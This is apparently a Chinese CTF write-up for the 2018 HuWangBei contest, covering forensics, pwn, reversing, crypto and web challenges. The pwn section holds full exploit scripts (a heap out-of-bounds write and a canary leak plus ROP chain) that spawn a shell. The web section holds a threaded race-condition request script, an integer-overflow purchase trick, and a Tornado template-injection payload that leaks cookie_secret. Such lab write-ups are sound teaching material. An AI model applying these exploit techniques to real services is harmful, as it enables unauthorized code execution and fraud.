syang / 2018-10-14 00:07:14 / 浏览数 5773 安全技术 CTF 顶(2) 踩(0)

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脑洞题,不想去猜key,就暴力了一下:

MISC

签到题

```
import base64
res = ''
a = "AAOHAR1TIiIkUFUjUFQgVyInVSVQJVFRUSNRX1YgXiJSVyJQVRs="
a = base64.b64decode(a)
for i in range(128):
    for j in a:
        res+=chr(i^ord(j))
print res
```

Easy dump

题目给了一个600M的镜像,是取证题

直接用volatility的imageinfo查看镜像,发现是windows内存镜像,并且可以看到版本信息

Image date and time : 2018-09-30 05:30:17 UTC+0000 Image local date and time : 2018-09-30 13:30:17 +0800

KUSER_SHARED_DATA : 0xffffff7800000000L

volatility提供很多查看当时系统状态信息的指令,我们先用pslist查看当时的进程,发现有个explorer, notepad等常被用来出题的进程,这里只列出这些,实际还有其他一

```
0xfffffa80083f4060 notepad.exe
                                       2952 1260
                                                       1
                                                              57
                                                                      1
                                                                             0 2018-09-30 05:18:25 UTC+0000
0xfffffa80083ea9f0 dllhost.exe
                                       2740
                                              612
                                                      1.0
                                                              197
                                                                      1
                                                                            0 2018-09-30 05:30:14 UTC+0000
                                       2256
0xfffffa800a1a2b30 DumpIt.exe
                                             1260
                                                      2
                                                             43
                                                                      1
                                                                            1 2018-09-30 05:30:16 UTC+0000
                                                             57
0xfffffa8009b1fb30 conhost.exe
                                       2964
                                             396
                                                       2
                                                                      1
                                                                            0 2018-09-30 05:30:16 UTC+0000
0xfffffa8009e03630 explorer.exe
                                       1260 1172
                                                      34
                                                             953
                                                                             0 2018-09-30 05:17:34 UTC
```

常见的情况会在notepad里开着一个文档藏一些和flaq相关的信息,但是这题尝试查看notepad并没有发现一些有用的信息。再尝试从其他程序入手。volatility中对于wind

```
>>>python vol.py -f ./easy_dump.img --profile=Win7SP1x64 iehistory
```

Process: 1260 explorer.exe

```
Record length: 0x100
Location: :2018093020181001: n3k0@:Host: ?????????
Last modified: 2018-09-30 12:43:38 UTC+0000
Last accessed: 2018-09-30 04:43:38 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0x0
Process: 1260 explorer.exe
Cache type "URL " at 0x4235200
Record length: 0x100
Location: :2018093020181001: n3k0@file:///C:/phos.jpg
Last modified: 2018-09-30 13:30:14 UTC+0000
Last accessed: 2018-09-30 05:30:14 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0x0
这里多条浏览记录都指向本地的一张叫phos.jpg的图片。说明这张图片应该有重要信息。我们接下来要想办法dump这张图片。
volatility同样有提供dump文件的插件,用filescan扫描一下文件列表,找到了这张jpg
0x00000000235bec20
                    12
                            0 R--r-- \Device\HarddiskVolume1\Windows\SysWOW64\kernel32.dll
                   32
0x00000000235c8770
                            0 RW---- \Device\HarddiskVolume1\phos.jpg
0x00000000235c91c0
                           1 R--r-d \Device\HarddiskVolume1\Windows\System32\en-US\KernelBase.dll.mui
                    15
0x00000000235c95b0
                     2
                            0 RW-rwd \Device\HarddiskVolume1\$Directory
记下偏移0x00000000235c8770,使用dumpfiles把这张图片dump出来
python vol.py -f ./easy_dump.img --profile=Win7SP1x64 dumpfiles -Q 0x00000000235c8770 --name -D ~/CTF/HWB
图片打开并没有直接显示flag相关的信息,猜测是jpg隐写,先用010editor打开发现藏了一个zip压缩包,可以手动提取也可以直接用binwalk提取这个zip。
解压之后里面有个message.img镜像,先strings一下,得到一堆数据和一个奇怪的字符串yispn!buwh_qcfd_ebo_mglzs。看起来是个加密后的flag
file message.img可以看到是linux下的filesystem
data。使用mount指令挂载之后查看里面的hint.txt文件。文件中有很多数据,第二个数几乎都是从10-269递增,然后第一位数增1,同样第一位也是从10一直增到269.但任
29 190
29 191
29 192
29 193
29 194
29 195
29 196
29 197
29 208
29 209
29 210
29 211
29 212
29 224
根据提示,txt的数据数量大约为两个相同的数相乘,这容易联想到是个二维码,存在和不存在的数据代表二维码上的黑点和白点
脚本如下:
#include <iostream>
#include <bits/stdc++.h>
using namespace std;
bool mp[275][275];
int main()
  freopen("./hint.txt","r",stdin);
  freopen("./out2.txt", "w", stdout);
  memset(mp, 0, sizeof(mp));
  int x, y;
  while (scanf("%d%d",&x,&y)!= EOF){
      mp[x][y]=true;
  }
  for (int i = 0; i < 270; i++){
          for (int j = 0; j < 270; ++j){
```

Cache type "URL " at 0x4235100

```
if (mp[i][j]){
                  printf(" ");//■■■■
              else printf("#");//■■■
          }
          printf("\n");
  }
  return 0;
直接以文本形式绘出二维码,把字体调的很小之后就可以看出是二维码了。扫码得到维吉尼亚的密码aeolus,解密得到flag。
PWN
task_gettingStart
这题有一个overflow的漏洞,只要将v8覆盖成0.1就能执行system("/bin/sh")了查一下浮点数的表示就行了
if ( v7 != 0x7FFFFFFFFFFFFFFFLL || v8 != 0.1 )
  puts("Try again!");
 else
 {
  printf("HuWangBei CTF 2018 will be getting start after %g seconds...\n", &buf, v8);
  system("/bin/sh");
payload如下:
\verb"payload=p64(0)+p64(0xa39)+p64(0)+p64(0x7fffffffffffffff)+p64(0x3FB99999999999)
cart
越界任意地址写。
from pwn import *
code = ELF('./task_shoppingCart', checksec=False)
context.arch = code.arch
context.log_level = 'debug'
def add(size, name):
  r.sendlineafter('buy!\n', '1')
  r.sendlineafter('?\n', str(size))
  if size > 0:
      r.sendafter('?\n', flat(name))
def fre(idx):
  r.sendlineafter('buy!\n', '2')
  r.sendlineafter('?\n', str(idx))
def edit(idx, payload):
  r.sendlineafter('buy!\n', '3')
  r.sendlineafter('?\n', str(idx))
  r.sendafter('?\n', flat(payload))
def make_money():
  r.sendlineafter('!\n', '1')
  r.sendlineafter('?\n', 'AAAAAAA')
def login():
  for i in range(20):
      make_money()
  r.sendlineafter('man!\n', '3')
def exploit(r):
  login()
  add(1000, 'qwe')
```

add(1000, 'sh\x00')

```
fre(0)
  add(0, '')
  r.sendlineafter('buy!\n', '3')
  r.sendlineafter('?\n', str(2))
  r.recvuntil('OK, what would you like to modify ')
  tmp = r.recvline()[:6]
  assert tmp[-1] == '\x7f'
  libc.address = u64(tmp + '\0\0') - libc.sym['__malloc_hook'] - 0x448
  info('%016x libc.address', libc.address)
  r.sendline('qwe')
  edit(-1, libc.address+0x3c3ef8)
  edit(-21, libc.sym['system'])
  fre(1)
  r.sendlineafter('$ ', 'cd /tmp')
  r.sendlineafter('$', 'cat << EOF > x.b64')
  r.sendline(read('./x').encode('base64'))
  r.sendline('EOF')
  r.interactive()
huwang (赛后)
先设置round=-1进行交互,程序会循环MD5,此时文件内容为空;另开一个再交互,MD5即为16个NULL的MD5。
name填0x19个字符即可泄漏canary, occupation也塞满, 然后栈溢出。
from pwn import *
code = ELF('./huwang', checksec=False)
context.arch = code.arch
context.log_level = 'debug'
def exploit(r):
  name = 'A'*0x19
  r.sendlineafter('>> \n', '666')
  r.sendafter('\n', name)
  r.sendlineafter('\n', 'y')
  r.sendlineafter('\n', '1')
  r.sendafter('?', 'a'*0xff)
  r.recvuntil('AAAAAAAAAAAAAAAAAAAA')
  canary = u64('\0' + r.recv(7))
  info('%016x canary', canary)
  r.sendlineafter('[Y/N]\n', 'Y')
  pop_rdi_ret = gadget('pop rdi; ret')
  leave_ret = gadget('leave; ret')
  buf = 0x603800
  r.send(flat(
      'A'*0x108,
      canary,
      pop_rdi_ret, code.got['read'],
      code.plt['puts'],
      make_rop([0x401550, 0x40156A], code.got['read'], [0, buf, 0x100], rbp=buf),
      leave_ret,
   ))
  r.recvline()
  tmp = r.recvline().strip() + '\0\0'
  libc.address = u64(tmp) - libc.sym['read']
  r.send(flat(
      pop_rdi_ret, libc.search('/bin/sh').next(),
      libc.sym['system'],
  ))
```

r.interactive()

搜索字符串找到main函数,发现很多函数都是用通过一个函数表调用的。 依次查看调用的几个函数,从sub_401530函数中可以看出明显的VM特征,而之前读取的unk_404018即为VM代码。 因为VM代码较长,将每个指令的作用还原后,我们用python写了个parser来翻译:

```
import struct
p=0
def out(x):
  print str(p)+ ' '+x
s=open('vm','rb').read()
f = struct.Struct('>I')
hashp=0
while p < len(s):
   if s[p] == 'P':
      out('reg' + str(ord(s[p+1]) >> 4) + '++')
      p += 2
   elif s[p] == 'N':
      out('reg' + str(ord(s[p+1]) >> 4) + '--')
   elif s[p] == 'G':
       \verb"out('reg' + str(ord(s[p+1]) >> 4) + ' ^= reg' + str(ord(s[p+1]) \& 0xF) ) 
   elif s[p] == 'Y':
       out('reg' + str(ord(s[p+1]) >> 4) + ' -= reg' + str(ord(s[p+1])&0xF) )
   elif s[p] == 'J':
      out('reg' + str(ord(s[p+1]) >> 4) + ' &= reg' + str(ord(s[p+1])&0xF) )
   elif s[p] == 'S':
       out('reg' + str(ord(s[p+1]) >> 4) + ' += reg' + str(ord(s[p+1])&0xF) )
   elif s[p] == 'X':
       \verb"out('reg' + str(ord(s[p+1]) >> 4) + ' *= reg' + str(ord(s[p+1]) \& 0xF) ")
   elif s[p] == '0':
       out('mem = ' + (s[p+1:p+5]).encode('hex') )
       if((f.unpack(s[p+1:p+5])[0]) > 1000):
           ss+=(s[p+1:p+5]).encode('hex')
       p += 5
   elif s[p] == 'T':
      out('reg' + str(ord(s[p+1]) >> 4) + ' = mem')
   elif s[p] == 'Q':
       \verb"out('reg' + str(ord(s[p+1]) >> 4) + ' = reg' + str(ord(s[p+1]) & 0xF) )
       p += 2
   elif s[p] == 'F':
      out('reg' + str(ord(s[p+1]) >> 4) + ' = hash[hashp]')
       p += 2
   elif s[p] == 'U':
       out('rep reg3 ' + str(p-ord(s[p+1])) )
       p += 2
   elif s[p] == 'H':
      \verb"out('cmp reg' + str(ord(s[p+1]) >> 4) + ' reg' + str(ord(s[p+1]) \& 0xF) \ )
       p += 2
   elif s[p] == 'D':
      out('jl ' + str(p+2+ord(s[p+1])) )
       p += 2
   elif s[p] == 'M':
      out('jg ' + str(p+2+ord(s[p+1])) )
       p += 2
   elif s[p] == 'K':
      out('jz ' + str(p+2+ord(s[p+1])) )
       p += 2
   elif s[p] == 'I':
```

```
hashp+=1
        out('hashp++')
        p += 1
   elif s[p] == 'V':
       hashp-=1
        out('hashp--')
        p += 1
   elif s[p] == 'C':
        out('exit' )
        p += 1
   else:
        out(s[p])
        p += 1
print ss[::-1].upper()
翻译后的结果:
0 \text{ mem} = 47
5 rep reg3 0
7 \text{ reg3} = \text{mem}
9 reg0 = hash[hashp]
11 reg2 ^= reg2
13 cmp reg0 reg2
15 jz 68
17 hashp++
18 \text{ mem} = 70
23 \text{ reg1} = \text{mem}
25 cmp reg0 reg1
27 jg 68
29 \text{ mem} = 48
34 \text{ reg1} = \text{mem}
36 cmp reg0 reg1
38 jl 62
40 \text{ mem} = 57
45 reg1 = mem
47 cmp reg0 reg1
49 jl 62
51 \text{ mem} = 65
56 \text{ reg0} = \text{mem}
58 cmp reg0 reg1
60 jl 68
62 reg0 ^= reg0
64 cmp reg0 reg0
66 jz 73
68 reg0 ^= reg0
70 reg0++
72 exit
73 rep reg3 9
75 \text{ mem} = 7
80 \text{ reg3} = \text{mem}
82 reg1 = 0
84 hashp--
85 reg0 = hash[hashp]
87 \text{ mem} = 48
92 \text{ reg2} = \text{mem}
94 reg0 -= reg2
96 \text{ mem} = 10
101 \text{ reg2} = \text{mem}
103 cmp reg0 reg2
105 jl 116
107 \text{ mem} = 7
112 \text{ reg2} = \text{mem}
114 reg0 -= reg2
116 \text{ mem} = 16
121 reg2 = mem
123 reg1 *= reg2
125 reg1 += reg0
127 rep reg3 84
129 mem = 3954878541
```

```
134 \text{ reg2} = \text{mem}
```

- 136 cmp reg1 reg2
- 138 reg0 ^= reg0
- 140 jz 145
- 142 reg0++
- 144 exit
- 145 mem = 7
- 150 reg3 = mem
- 152 reg1 ^= reg1
- 154 hashp--
- 155 reg0 = hash[hashp]
- 157 mem = 48
- 162 reg2 = mem
- 164 reg0 -= reg2
- 166 mem = 10
- 171 reg2 = mem
- 173 cmp reg0 reg2
- 175 jl 186
- 177 mem = 7
- 182 reg2 = mem
- 184 reg0 -= reg2
- 186 mem = 16
- 191 reg2 = mem
- 193 reg1 *= reg2
- 195 reg1 += reg0
- 197 rep reg3 154
- 199 mem = 1406938271
- 204 reg2 = mem
- 206 cmp reg1 reg2
- 208 reg0 ^= reg0
- 210 jz 215
- 212 reg0++
- 214 exit
- 215 mem = 7
- 220 reg3 = mem
- 222 reg1 ^= reg1
- 224 hashp--
- 225 reg0 = hash[hashp]
- 227 mem = 48
- 232 reg2 = mem
- 234 reg0 -= reg2
- 236 mem = 10
- 241 reg2 = mem
- 243 cmp reg0 reg2
- 245 jl 256
- 247 mem = 7
- 252 reg2 = mem
- 254 reg0 -= reg2
- 256 mem = 16
- 261 reg2 = mem
- 263 reg1 *= reg2
- 265 reg1 += reg0
- 267 rep reg3 224
- 269 mem = 1858824029
- 274 reg2 = mem
- 276 cmp reg1 reg2
- 278 reg0 ^= reg0
- 280 jz 285
- 282 reg0++
- 284 exit
- 285 mem = 7
- 290 reg3 = mem
- 292 reg1 ^= reg1
- 294 hashp--
- 295 reg0 = hash[hashp]
- 297 mem = 48
- 302 reg2 = mem
- 304 reg0 -= reg2
- 306 mem = 10

```
311 \text{ reg2} = \text{mem}
```

- 313 cmp reg0 reg2
- 315 jl 326
- 317 mem = 7
- 322 reg2 = mem
- 324 reg0 -= reg2
- 326 mem = 16
- 331 reg2 = mem
- 333 reg1 *= reg2
- 335 reg1 += reg0
- 337 rep reg3 294
- 339 mem = 2143952328
- 344 reg2 = mem
- 346 cmp reg1 reg2
- 348 reg0 ^= reg0
- 350 jz 355
- 352 reg0++
- 354 exit
- 355 mem = 7
- 360 reg3 = mem
- 362 reg1 ^= reg1
- 364 hashp--
- 365 reg0 = hash[hashp]
- 367 mem = 48
- 372 reg2 = mem
- 374 reg0 -= reg2
- 376 mem = 10
- 381 reg2 = mem
- 383 cmp reg0 reg2
- 385 jl 396
- 387 mem = 7
- 392 reg2 = mem
- 394 reg0 -= reg2
- 396 mem = 16
- 401 reg2 = mem
- 403 reg1 *= reg2
- 405 reg1 += reg0
- 407 rep reg3 364
- 409 mem = 2386147433
- 414 reg2 = mem
- 416 cmp reg1 reg2
- 418 reg0 ^= reg0
- 420 jz 425
- 422 reg0++
- 424 exit 425 mem = 7
- 430 reg3 = mem
- 432 reg1 ^= reg1
- 434 hashp--
- 435 reg0 = hash[hashp]
- 437 mem = 48
- 442 reg2 = mem
- 444 reg0 -= reg2
- 446 mem = 10
- 451 reg2 = mem
- 453 cmp reg0 reg2
- 455 jl 466
- 457 mem = 7
- 462 reg2 = mem
- 464 reg0 -= reg2
- 466 mem = 16
- 471 reg2 = mem
- 473 reg1 *= reg2 475 reg1 += reg0
- 477 rep reg3 434
- 479 mem = 2597864506
- 484 reg2 = mem
- 486 cmp reg1 reg2
- 488 reg0 ^= reg0

```
490 jz 494
492 reg0++
494 exit
```

开始的一段代码判断了hash的字符在数字和大写字母'A'-'F'内。 然后后面有四段非常相似的代码,每段代码均从hash的结尾开始取8个十六进制字符,转为十进制,最后与一个4字节的int进行比较。 将这四个用来比较的int拿出来,反向连接起来即可得到flag。

附上vm中用到的struct:

```
00000000 obj
                      struc ; (sizeof=0x28, mappedto_35)
00000000 func_p
                      dd?
00000004 reg0
                      dd ?
00000008 reg1
                      dd ?
0000000C reg2
                      dd?
00000010 reg3
                      dd?
                                              ; offset
00000014 reg4
                      dd ?
00000018 hash
                      dd ?
                                              ; offset
0000001C field_1C
                     dd ?
                      dd ?
                                              ; offset
00000020 mem
                      dd?
00000024 vmcode
                                              ; offset
00000028 obj
                       ends
```

CRYPTO

fe₂

fez的本质就是一些异或操作,虽然不知道密钥,但是我们有两段密文和其中的一段明文,密文与密文异或可以消去密钥,再异或明文就可以得到另一段明文 具体脚本如下

```
import os
def xor(a,b):
   assert len(a)==len(b)
   for i in range(len(a)):
       c+=chr(ord(a[i])^ord(b[i]))
   return c
def f(x,k):
   return xor(xor(x,k),7)
def round(M,K):
  L=M[0:27]
  R=M[27:54]
  new_l=R
   new_r=xor(xor(R,L),K)
   return new_l+new_r
def deround(M,K):
   L=M[0:27]
   R=M[27:54]
  new_l=L
  new_r=xor(xor(R,L),K)
   return new_r+new_l
def fez(m,K):
   for i in K:
       m=round(m,i)
   return m
def defez(m,K):
   for i in reversed(K):
      m=deround(m,i)
   return m
K=[]
for i in range(7):
   K.append(os.urandom(27))
m=open("flag","rb").read()
assert len(m)<54
m+=os.urandom(54-len(m))
test=os.urandom(54)
print test.encode("hex")
print fez(test,K).encode("hex")
```

```
print fez(m,K).encode("hex")
test="6e8a78be3a7c92f74db065a6a18cc659de4278f24af163c435853c06d2a0adeb49859c78dccdf8c85e5ed8cda7e22d6f098e6b1e4142"
al="944360ff8ecd3a4d66b27dfcf7d9c1b5d22f53a9eb84edd29d2a4cc851abea669afaef060b5d1241338f92546a97d1d7ce00fa7b5e3e"
a2="a0a9f3660de9c2e347a141054548088827c481868b86473fc590aaf45d21aaa4a4f5c51ecd6812254be19d20f50b3aa24fa0bc7316dc"
al=al.decode("hex")
a2=a2.decode("hex")
test=test.decode("hex")
ss=xor(xor(a1[:27],a2[:27]),test[27:])
st=xor(xor(xor(xor(a1[27:],a2[27:]),test[27:]),test[:27]),ss)
print st+ss
WPA2
是一个WPA2协议的题目
WPA2采用的是CMMP加密
题目给出了psk, mac和nounce根据这些信息我们可以得到加密的密钥。
后来主办方又给出了源代码,通过阅读代码,我们可以了解到跟多关于加密的细节。根据代码我们可以先进行解包,从网络包中得到真正的密文部分,然后用密钥进行解密目
```

代码如下: from WPA2 import *

```
def DecryptCCMP(indata,TK):
   if len(TK) != 16:
      return None
   is_a4 = 0
   is_qos = 1
   z = 24 + 6 * (1 if is_a4 else 0)
   z += 2 * (1 if is_qos else 0)
   inputpkt=indata.decode("hex")[:34]
   PN=inputpkt[-8:-6]+inputpkt[-4:]
   PN=PN[::-1]
   data len=33
   B0 = ''
   B0 += '\x59'
   B0 += ' \x00'
   B0 += inputpkt[10:16]
   BO += PN
   B0 += chr((data_len >> 8) \& 0xFF)
   B0 += chr(data_len & 0xFF)
   AAD = ' \ x00' * 2 # [0] [1]
   AAD += chr(ord(inputpkt[0]) \& 0x8F) # [2]
   AAD += chr(ord(inputpkt[1]) \& 0xC7) # [3]
   AAD += inputpkt[4:4 + 3 * 6] # [4]..[21]
   AAD += chr(ord(inputpkt[22]) \& 0x0F) # [22]
   AAD += ' \ x00' \# [23]
   if (is_a4):
       AAD += inputpkt[24:24 + 6] # [24]..[29]
       if (is_qos):
           AAD += chr(ord(inputpkt[z - 2]) \& 0x0F) # [30]
           AAD += ' \x00' # [31]
           tmp = list(B0)
           tmp[1] = AAD[30]
           B0 = ''.join(tmp)
           tmp = list(AAD)
           tmp[1] = chr(22 + 2 + 6)
           AAD = ''.join(tmp)
       else:
           AAD += '\x00' * 2 # [30]..[31]
           tmp = list(B0)
```

```
tmp[1] = '\xblue x00'
           B0 = ''.join(tmp)
           tmp = list(AAD)
           tmp[1] = chr(22 + 6)
           AAD = ''.join(tmp)
  else:
      if (is_qos):
          AAD += chr(ord(inputpkt[z - 2]) & 0x0F) # [24]
           AAD += '\x00' # [25]
           tmp = list(B0)
           tmp[1] = AAD[24]
           B0 = ''.join(tmp)
           tmp = list(AAD)
           tmp[1] = chr(22 + 2)
          AAD = ''.join(tmp)
      else:
           AAD += '\x00' * 2 # [24]..[25]
           tmp = list(B0)
           tmp[1] = '\x00'
           B0 = ''.join(tmp)
           tmp = list(AAD)
           tmp[1] = chr(22)
          AAD = ''.join(tmp)
  AAD += '\x00' * 6
  cipher = AES.new(TK, AES.MODE_ECB)
  MIC = cipher.encrypt(B0)
  MIC = XOR(MIC, AAD, 16)
  MIC = cipher.encrypt(MIC)
  MIC = XOR(MIC, AAD[16:], 16)
  MIC = cipher.encrypt(MIC)
  tmp = list(B0)
  tmp[0] = chr(ord(tmp[0]) & 0x07)
  tmp[14] = ' \x00'
  tmp[15] = '\x00'
  B0 = ''.join(tmp)
  B = cipher.encrypt(B0)
  initMIC = B
  offset =34
  blocks = 3
  last = 1
  print "TK"
  print repr(TK)
  print "B0"
  print repr(B0)
  decryptedPacket = indata.decode("hex")
  plain=""
  for i in range(1, blocks + 1):
      n = last if (last > 0 and i == blocks) else 16
       tmp = list(B0)
       tmp[14] = chr((i >> 8) \& 0xFF)
       tmp[15] = chr(i \& 0xFF)
      B0 = ''.join(tmp)
      B = cipher.encrypt(B0)
      print repr(B)
      out = XOR(decryptedPacket[offset:offset + n], B, n)
      plain += out
      offset += n
  return plain
ssid="HuWang"
psk="HSrObIZmBx6inYc2"
aNonce="482d8d5f601ca1b671ab9cbdc30ad998b880168ccb3c26d6d7ed3cfc8149045a".decode("hex")
sNonce="4fbbb10c26f7376867f29db85c189ae2c7b0e4023f5af3e9a73cae9c97b46cb1".decode("hex")
```

```
apMac="47:C4:47:16:E8:7D"
staMac="7F:57:0A:12:66:5B"
apMac=apMac.replace(":","").lower().decode("hex")
staMac=staMac.replace(":","").lower().decode("hex")
A,B = MakeAB(aNonce,sNonce,apMac,staMac)
ptk,pmk = MakeKeys(psk,ssid,A,B)
key = ptk[-16:]
cipher="88423a017f570a12665b47c44716e87d47c44716e87d609200005f85002096000000a6690951247f1faacc65af2069bf567a78c2aac8423d351a72
print DecryptCCMP(cipher,key)
其中CMMP的相关代码:
#!/usr/bin/env python
import hmac
from hashlib import pbkdf2_hmac,sha1,md5
from Crypto.Cipher import AES
import string
import random
import struct
def PRF(key,A,B):
   nByte = 48
   i = 0
   R = ''
   while ( i \le ((nByte*8 + 159)/160)):
       hmacshal = hmac.new(key,A+"\x00" + B + chr(i),shal)
       R += hmacshal.digest()
       i += 1
   return R[0:nByte]
def MakeAB(aNonce,sNonce,apMac,cliMac):
   A = "Pairwise key expansion"
   B = min(apMac,cliMac) + max(apMac,cliMac) + min(aNonce, sNonce) + max(aNonce, sNonce)
   return (A,B)
def MakeKeys(pwd,ssid,A,B):
   pmk = pbkdf2_hmac('sha1',pwd,ssid,4096,32)
   ptk = PRF(pmk,A,B)
   return (ptk,pmk)
def XOR(b1,b2,1):
  if (len(b1)<l or len(b2)<l):
      return None
   res = ''
   for i in range(1):
      res += chr(ord(b1[i]) ^ ord(b2[i]))
   if (len(b1)>1):
      res += b1[1:]
   return res
def EncryptCCMP(indata,TK,PN):
  if len(TK) != 16 or len(PN) != 6:
      return None
   is_a4 = (ord(indata[1]) \& 0x03) == 3
   is\_qos = (ord(indata[0]) \& 0x8c) == 0x88
```

 $z = 24 + 6 * (1 if is_a4 else 0)$ $z += 2 * (1 if is_qos else 0)$

h80211 = list(indata)

h80211[z + 0] = PN[5]h80211[z + 1] = PN[4]

```
h80211[z + 2] = '\x00'
h80211[z + 3] = '\x20'
h80211[z + 4] = PN[3]
h80211[z + 5] = PN[2]
h80211[z + 6] = PN[1]
h80211[z + 7] = PN[0]
inputpkt = ''.join(h80211)
data_len=33
B0 = ''
B0 += ' \x59'
B0 += '\x00'
B0 += inputpkt[10:16]
B0 += PN
B0 += chr((data_len >> 8) & 0xFF)
B0 += chr(data_len & 0xFF)
AAD = ' \times 00' * 2 # [0] [1]
AAD += chr(ord(inputpkt[0]) \& 0x8F) # [2]
AAD += chr(ord(inputpkt[1]) & 0xC7) # [3]
AAD += inputpkt[4:4 + 3 * 6] # [4]..[21]
AAD += chr(ord(inputpkt[22]) \& 0x0F) # [22]
AAD += ' \times 00' \# [23]
if (is_a4):
    AAD += inputpkt[24:24 + 6] # [24]..[29]
    if (is_qos):
        AAD += chr(ord(inputpkt[z - 2]) & 0x0F) # [30]
        AAD += ' \times 00' # [31]
        tmp = list(B0)
        tmp[1] = AAD[30]
        B0 = ''.join(tmp)
        tmp = list(AAD)
        tmp[1] = chr(22 + 2 + 6)
        AAD = ''.join(tmp)
    else:
        AAD += '\x00' * 2 # [30]..[31]
        tmp = list(B0)
        tmp[1] = '\xblue x00'
        B0 = ''.join(tmp)
        tmp = list(AAD)
        tmp[1] = chr(22 + 6)
        AAD = ''.join(tmp)
else:
    if (is_qos):
        AAD += chr(ord(inputpkt[z - 2]) \& 0x0F) # [24]
        AAD += '\x00' # [25]
        tmp = list(B0)
        tmp[1] = AAD[24]
        B0 = ''.join(tmp)
        tmp = list(AAD)
        tmp[1] = chr(22 + 2)
        AAD = ''.join(tmp)
    else:
        AAD += '\x00' * 2 # [24]..[25]
        tmp = list(B0)
        tmp[1] = ' \xblue x00'
        B0 = ''.join(tmp)
        tmp = list(AAD)
        tmp[1] = chr(22)
        AAD = ''.join(tmp)
    AAD += '\x00' * 6
cipher = AES.new(TK, AES.MODE_ECB)
MIC = cipher.encrypt(B0)
MIC = XOR(MIC, AAD, 16)
MIC = cipher.encrypt(MIC)
MIC = XOR(MIC, AAD[16:], 16)
```

```
MIC = cipher.encrypt(MIC)
  tmp = list(B0)
  tmp[0] = chr(ord(tmp[0]) & 0x07)
  tmp[14] = ' \x00'
  tmp[15] = ' \x00'
  B0 = ''.join(tmp)
  B = cipher.encrypt(B0)
  initMIC = B
  blocks = (data_len + 16 - 1) / 16
  last = data_len % 16
  offset = z + 8
  encryptedPacket = ''
  print offset
  print last
  print blocks
  for i in range(1, blocks + 1):
      n = last if (last > 0 and i == blocks) else 16
      MIC = XOR(MIC,inputpkt[offset:offset+n],n)
      MIC = cipher.encrypt(MIC)
      tmp = list(B0)
      tmp[14] = chr((i >> 8) & 0xFF)
      tmp[15] = chr(i \& 0xFF)
      B0 = ''.join(tmp)
      B = cipher.encrypt(B0)
      out = XOR(inputpkt[offset:offset + n], B, n)
      encryptedPacket += out
      offset += n
  print len(encryptedPacket)
  encryptedPacket = inputpkt[:z+8] + encryptedPacket
  encryptedPacket += XOR(initMIC,MIC,8)[:8]
  return encryptedPacket
if __name__=="__main___":
  print "Welcome to HuWang Bei WPA2 Simulation System.. Initilizing Parameters.."
  print ""
  ssid = "HuWang"
  psk = ''.join(random.choice(string.ascii_uppercase+ string.ascii_lowercase + string.digits) for _ in range(16))
  rnddev = open("/dev/urandom","rb")
  aNonce = rnddev.read(32)
   sNonce = rnddev.read(32)
  apMac = rnddev.read(6)
   staMac = rnddev.read(6)
  rnddev.close()
  print "SSID = "+ssid
  print ""
  print "PSK = "+psk
  print ""
  outmac=apMac.encode('hex').upper()
  macaddr = ''
  for i in range(len(outmac)):
      macaddr += outmac[i]
```

```
if (i%2!=0 and i<len(outmac)-1):</pre>
                       macaddr+=':'
print "AP_MAC = "+macaddr
print ""
print "AP_Nonce = "+aNonce.encode('hex')
print ""
outmac=staMac.encode('hex').upper()
macaddr = ''
for i in range(len(outmac)):
           macaddr += outmac[i]
           if (i%2!=0 and i<len(outmac)-1):
                       macaddr+=':'
print "STA_MAC = "+macaddr
print ""
print "STA_Nonce = "+sNonce.encode('hex')
print ""
A,B = MakeAB(aNonce,sNonce,apMac,staMac)
ptk,pmk = MakeKeys(psk,ssid,A,B)
key = ptk[-16:]
#chlvalue = ''.join(random.choice(string.ascii_uppercase+ string.ascii_lowercase + string.digits) for _ in range(16))
chlvalue="a"*16
challenge = "Challenge Vlaue: "+chlvalue
\texttt{datapkt} = ("88423a01" + \texttt{staMac.encode}('hex') + \texttt{apMac.encode}('hex') + \texttt{apMac.encode}(
packetNumber = struct.pack(">Q",random.randint(1,9999999))[2:]
print repr(datapkt)
print repr(key)
print repr(packetNumber)
outtoUser = EncryptCCMP(datapkt,key,packetNumber)
print repr(outtoUser)
print "CCMP Encrypted Packet = "+outtoUser.encode("hex")
print ""
exit()
userinput = raw_input("Input decrypted challenge value in Packet:")
print ""
if (userinput == chlvalue):
           f = open("flag","r")
           content = f.read()
           print "Congratulations!Your flag is: "+content
else:
           print "Wrong!"
```

WEB

LTSHOP

本题的考点在于条件竞争以及整数的溢出问题

通过多线程发包的方式使得购买到 5 个以上的大辣条

```
import requests
import threading

url = "http://49.4.79.236:30189/"

s = requests.Session()
```

```
def post(querystring):
  headers = {
      'Cookie': "go_iris_cookie=93542bfe-f8e2-4e4e-ba4c-1b0c5c739342;",
      'Content-Type': "application/x-www-form-urlencoded"
  }
  response = s.post(url+querystring, headers=headers)
  print(response.text)
def main():
  1 = [1]
  for i in range(1000):
      1.append(threading.Thread(target=post, args=('buylt',)))
  for t in 1:
     t.start()
  for t in 1:
     t.join()
if __name__ == '__main__':
  main()
此时我们可以得到超过5个以上的大辣条,但远远买不到足够的辣条之王
此时我们观察到我们可以控制批量购买的数量,不同数量的反馈是不同的,比如我购买2个,提醒的是大辣条数量不足,而购买-1个或者
99999999999999999999999999999则是数量非法,所以我们可以猜测题目使用 uint64 作为变量的类型。
可以推测题目的逻辑如下:
var num uint
if num * 5 <= ■■■■■ {
  ■■■■ += num
}
很明显存在着乘法上溢问题,如果我们构造 num = 3689348814741910324,经过测试可得 num * 5 = 4,4 <= 5成立
i = 2**64 // 5 + 1 # 3689348814741910324
j = i * 5 % 2 ** 64 # 4
所以我们即可利用 4 个大辣条买到近乎无限的辣条之王(具体为 3689348814741910324 个),即可顺利购买 flag
easy tornado
进入题目
```

http://49.4.78.81:30980/

发现意思很明确,有签名,读文件

发现

http://49.4.78.81:30980/error?msg= $\{\{1^0\}\}$

可模板注入,但过滤了非常多的符号,应该只能读个变量

发现handler.settings存放了cookie_secret

读取

 $\verb|http://49.4.78.81:30980/error?msg={{handler.settings}}||$

随机构造签名读flag

得到

flag{67a3d3dec827645c1c92d1f2160c744f}

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